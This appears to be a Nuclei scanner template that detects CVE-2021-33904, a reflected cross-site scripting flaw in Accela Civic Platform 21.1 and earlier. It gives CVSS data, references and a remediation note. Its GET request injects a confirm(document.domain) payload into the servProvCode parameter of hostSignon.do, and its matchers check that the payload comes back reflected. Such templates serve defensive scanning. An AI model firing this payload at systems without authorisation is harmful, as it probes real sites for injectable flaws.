id: CVE-2021-33904

info:
  name: Accela Civic Platform <=21.1 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.
  remediation: |
    Upgrade to a patched version of Accela Civic Platform (version >21.1) that includes proper input validation to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49980
    - https://gist.github.com/0xx7/3d934939d7122fe23db11bc48eda9d21
    - http://packetstormsecurity.com/files/163093/Accela-Civic-Platorm-21.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33904
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-33904
    cwe-id: CWE-79
    epss-score: 0.00152
    epss-percentile: 0.51254
    cpe: cpe:2.3:a:accela:civic_platform:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: accela
    product: civic_platform
  tags: cve2021,accela,xss,edb,packetstorm,cve

http:
  - method: GET
    path:
      - "{{BaseURL}}/security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        words:
          - '"k3woq"^confirm(document.domain)^"a2pbrnzx5a9"'
          - 'servProvCode'
        condition: and

      - type: status
        status:
          - 200
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